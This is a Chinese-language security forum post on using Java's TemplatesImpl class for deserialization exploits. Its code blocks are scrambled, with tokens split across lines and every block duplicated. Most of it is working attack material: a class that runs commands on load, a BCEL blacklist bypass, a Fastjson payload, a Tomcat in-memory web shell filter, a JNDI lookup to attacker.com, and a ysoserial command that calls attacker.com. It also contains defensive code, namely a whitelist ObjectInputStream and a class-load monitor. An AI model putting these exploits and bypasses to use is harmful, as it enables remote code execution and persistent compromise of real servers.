-
-
[原创]Java TemplatesImpl的深度利用技巧
-
发表于: 2025-4-3 10:40 812
-
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
是 JDK 内置的 XSLT 处理器类,其defineTransletClasses()
方法允许加载自定义字节码。攻击者通过反序列化构造特殊对象,触发恶意类加载和执行。
核心方法调用链:
反射工具方法:
绕过 JDK 高版本限制
}
```
白名单校验:使用ValidatingObjectInputStream
限制反序列化的类:
当目标环境存在 JNDI 注入漏洞(如 Log4j2)时,通过TemplatesImpl
触发远程类加载,绕过本地字节码检测,直接加载远程恶意类
代码审计关注点:
防御策略:
虽然TemplatesImpl
本身不依赖 JNDI,但可以通过组合漏洞链实现更复杂的攻击。例如,利用TemplatesImpl
加载的恶意类触发 JNDI 远程类加载:
技巧:通过TemplatesImpl
加载的类触发 JNDI 查询,绕过直接依赖反序列化链的限制。
某些环境下对TemplatesImpl
的类名黑名单有过滤,可通过 BCEL 格式的字节码绕过类名校验:
技巧:BCEL 编码的字节码可在某些场景下绕过类名检查,结合TemplatesImpl
的加载机制实现绕过。
利用动态代理触发TemplatesImpl
的newTransformer
方法,绕过直接调用检测:
技巧:通过动态代理间接调用getOutputProperties
,避免直接触发敏感方法。
在 JDK 8u191+ 中,TemplatesImpl
的类加载可能受限制,可通过以下方式绕过:
技巧:通过底层内存操作绕过访问控制,强制加载恶意类。
在 XStream 中利用TemplatesImpl
加载恶意类:
技巧:通过构造 XML Payload 触发 XStream 的反序列化漏洞,结合TemplatesImpl
执行命令。
TemplatesImpl.newTransformer()
→ getTransletInstance()
→ defineTransletClasses()
→ ClassLoader.defineClass()
/
/
加载恶意字节码
TemplatesImpl.newTransformer()
→ getTransletInstance()
→ defineTransletClasses()
→ ClassLoader.defineClass()
/
/
加载恶意字节码
/
/
生成恶意字节码(示例弹出计算器)
public
class
EvilTemplate extends AbstractTranslet {
static {
try
{
Runtime.getRuntime().
exec
(
"calc.exe"
);
} catch (Exception e) {
/
*
异常处理
*
/
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}
/
/
编译并获取字节码
byte[] evilCode
=
Files.readAllBytes(Paths.get(
"EvilTemplate.class"
));
/
/
生成恶意字节码(示例弹出计算器)
public
class
EvilTemplate extends AbstractTranslet {
static {
try
{
Runtime.getRuntime().
exec
(
"calc.exe"
);
} catch (Exception e) {
/
*
异常处理
*
/
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}
/
/
编译并获取字节码
byte[] evilCode
=
Files.readAllBytes(Paths.get(
"EvilTemplate.class"
));
TemplatesImpl templates
=
TemplatesImpl.newInstance();
/
/
使用反射设置关键字段
setField(templates,
"_bytecodes"
, new byte[][]{evilCode});
setField(templates,
"_name"
,
"Exploit"
);
setField(templates,
"_tfactory"
, new TransformerFactoryImpl());
/
/
触发类加载
templates.newTransformer();
TemplatesImpl templates
=
TemplatesImpl.newInstance();
/
/
使用反射设置关键字段
setField(templates,
"_bytecodes"
, new byte[][]{evilCode});
setField(templates,
"_name"
,
"Exploit"
);
setField(templates,
"_tfactory"
, new TransformerFactoryImpl());
/
/
触发类加载
templates.newTransformer();
void setField(
Object
obj, String fieldName,
Object
value) throws Exception {
Field field
=
obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.
set
(obj, value);
}
void setField(
Object
obj, String fieldName,
Object
value) throws Exception {
Field field
=
obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.
set
(obj, value);
}
/
/
通过 BCEL 加载绕过类名检查
String bcelCode
=
"$$BCEL$$..."
;
/
/
生成的 BCEL 字节码
byte[] bytecode
=
com.sun.org.apache.bcel.internal.classfile.Utility.decode(bcelCode, true);
/
/
构造特殊类名绕过黑名单
setField(templates,
"_name"
,
"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"
);
setField(templates,
"_bytecodes"
, new byte[][]{bytecode});
/
/
通过 BCEL 加载绕过类名检查
String bcelCode
=
"$$BCEL$$..."
;
/
/
生成的 BCEL 字节码
byte[] bytecode
=
com.sun.org.apache.bcel.internal.classfile.Utility.decode(bcelCode, true);
/
/
构造特殊类名绕过黑名单
setField(templates,
"_name"
,
"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"
);
setField(templates,
"_bytecodes"
, new byte[][]{bytecode});
JSON.parseObject(payload,
Object
.
class
, Feature.SupportNonPublicField);
JSON.parseObject(payload,
Object
.
class
, Feature.SupportNonPublicField);
public
class
MemShell extends AbstractTranslet {
static {
WebappClassLoaderBase classLoader
=
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext context
=
(StandardContext) classLoader.getResources().getContext();
/
/
注入
Filter
配置
FilterDef filterDef
=
new FilterDef();
filterDef.setFilterName(
"evilFilter"
);
filterDef.setFilterClass(this.getClass().getName());
context.addFilterDef(filterDef);
/
/
添加 URL 映射
FilterMap filterMap
=
new FilterMap();
filterMap.setFilterName(
"evilFilter"
);
filterMap.addURLPattern(
"/*"
);
context.addFilterMap(filterMap);
}
public
class
MemShell extends AbstractTranslet {
static {
WebappClassLoaderBase classLoader
=
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext context
=
(StandardContext) classLoader.getResources().getContext();
/
/
注入
Filter
配置
FilterDef filterDef
=
new FilterDef();
filterDef.setFilterName(
"evilFilter"
);
filterDef.setFilterClass(this.getClass().getName());
context.addFilterDef(filterDef);
/
/
添加 URL 映射
FilterMap filterMap
=
new FilterMap();
filterMap.setFilterName(
"evilFilter"
);
filterMap.addURLPattern(
"/*"
);
context.addFilterMap(filterMap);
}
/
/
安全的反序列化实现
public
class
SafeObjectInputStream extends ObjectInputStream {
private static final
Set
<String> ALLOWED_CLASSES
=
Set
.of(
"java.lang.String"
,
"java.util.HashMap"
);
public SafeObjectInputStream(InputStream
in
) throws IOException {
super
(
in
);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
if
(!ALLOWED_CLASSES.contains(desc.getName())) {
throw new InvalidClassException(
"Unauthorized class: "
, desc.getName());
}
return
super
.resolveClass(desc);
}
}
/
/
安全的反序列化实现
public
class
SafeObjectInputStream extends ObjectInputStream {
private static final
Set
<String> ALLOWED_CLASSES
=
Set
.of(
"java.lang.String"
,
"java.util.HashMap"
);
public SafeObjectInputStream(InputStream
in
) throws IOException {
super
(
in
);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
if
(!ALLOWED_CLASSES.contains(desc.getName())) {
throw new InvalidClassException(
"Unauthorized class: "
, desc.getName());
}
return
super
.resolveClass(desc);
}
}
/
/
使用 Java Agent 检测 defineClass
public
class
ClassDefineMonitor {
public static void premain(String args, Instrumentation inst) {
inst.addTransformer((loader, className, classBeingRedefined,
protectionDomain, classfileBuffer)
-
> {
if
(className.contains(
"Evil"
)) {
throw new SecurityException(
"Detected malicious class: "
+
className);
}
return
classfileBuffer;
}, true);
}
}
/
/
使用 Java Agent 检测 defineClass
public
class
ClassDefineMonitor {
public static void premain(String args, Instrumentation inst) {
inst.addTransformer((loader, className, classBeingRedefined,
protectionDomain, classfileBuffer)
-
> {
if
(className.contains(
"Evil"
)) {
throw new SecurityException(
"Detected malicious class: "
+
className);
}
return
classfileBuffer;
}, true);
}
}
/
/
生成包含 JNDI 触发的字节码
public
class
JNDILoader extends AbstractTranslet {
static {
try
{
new InitialContext().lookup(
"ldap://attacker.com/Exploit"
);
} catch (NamingException e) {
/
*
异常处理
*
/
}
}
}
/
/
构造嵌套攻击链
Transformer[] chain
=
new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer(
"newTransformer"
, null, null)
};
/
/
生成包含 JNDI 触发的字节码
public
class
JNDILoader extends AbstractTranslet {
static {
try
{
new InitialContext().lookup(
"ldap://attacker.com/Exploit"
);
} catch (NamingException e) {
/
*
异常处理
*
/
}
}
}
/
/
构造嵌套攻击链
Transformer[] chain
=
new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer(
"newTransformer"
, null, null)
};
/
/
Fastjson 反序列化载荷
{
"@type"
:
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
,
"_bytecodes"
: [
"BASE64_ENCODED_BYTECODE"
],
"_name"
:
"Exploit"
,
"_tfactory"
: {},
"_outputProperties"
: {}
}
/
/
Fastjson 反序列化载荷
{
"@type"
:
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
,
"_bytecodes"
: [
"BASE64_ENCODED_BYTECODE"
],
"_name"
:
"Exploit"
,
"_tfactory"
: {},
"_outputProperties"
: {}
}
Transformer[] groovyChain
=
new Transformer[]{
new ConstantTransformer(new MethodClosure(
"calc"
,
"execute"
)),
new InvokerTransformer(
"call"
, null, null)
};
Transformer[] groovyChain
=
new Transformer[]{
new ConstantTransformer(new MethodClosure(
"calc"
,
"execute"
)),
new InvokerTransformer(
"call"
, null, null)
};
# 使用 ysoserial 生成 TemplatesImpl payload
java
-
jar ysoserial.jar Jdk7u21
"curl http://attacker.com"
> payload.
bin
# 发送到测试服务
curl
-
X POST
-
-
data
-
binary @payload.
bin
http:
/
/
vuln
-
app
/
deserialize
# 内存马检测命令
jmap
-
dump:live,
format
=
b,
file
=
heapdump.
bin
<pid>
jhat heapdump.
bin
# 分析堆中的恶意 Filter
# 使用 ysoserial 生成 TemplatesImpl payload
java
-
jar ysoserial.jar Jdk7u21
"curl http://attacker.com"
> payload.
bin
# 发送到测试服务
curl
-
X POST
-
-
data
-
binary @payload.
bin
http:
/
/
vuln
-
app
/
deserialize
# 内存马检测命令
jmap
-
dump:live,
format
=
b,
file
=
heapdump.
bin
<pid>
jhat heapdump.
bin
# 分析堆中的恶意 Filter
/
/
危险模式
ObjectInputStream.readObject()
XMLDecoder.readObject()
JSON.parseObject(
input
, Feature.SupportNonPublicField)
/
/
敏感调用
ClassLoader.defineClass()
TemplatesImpl.newTransformer()
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课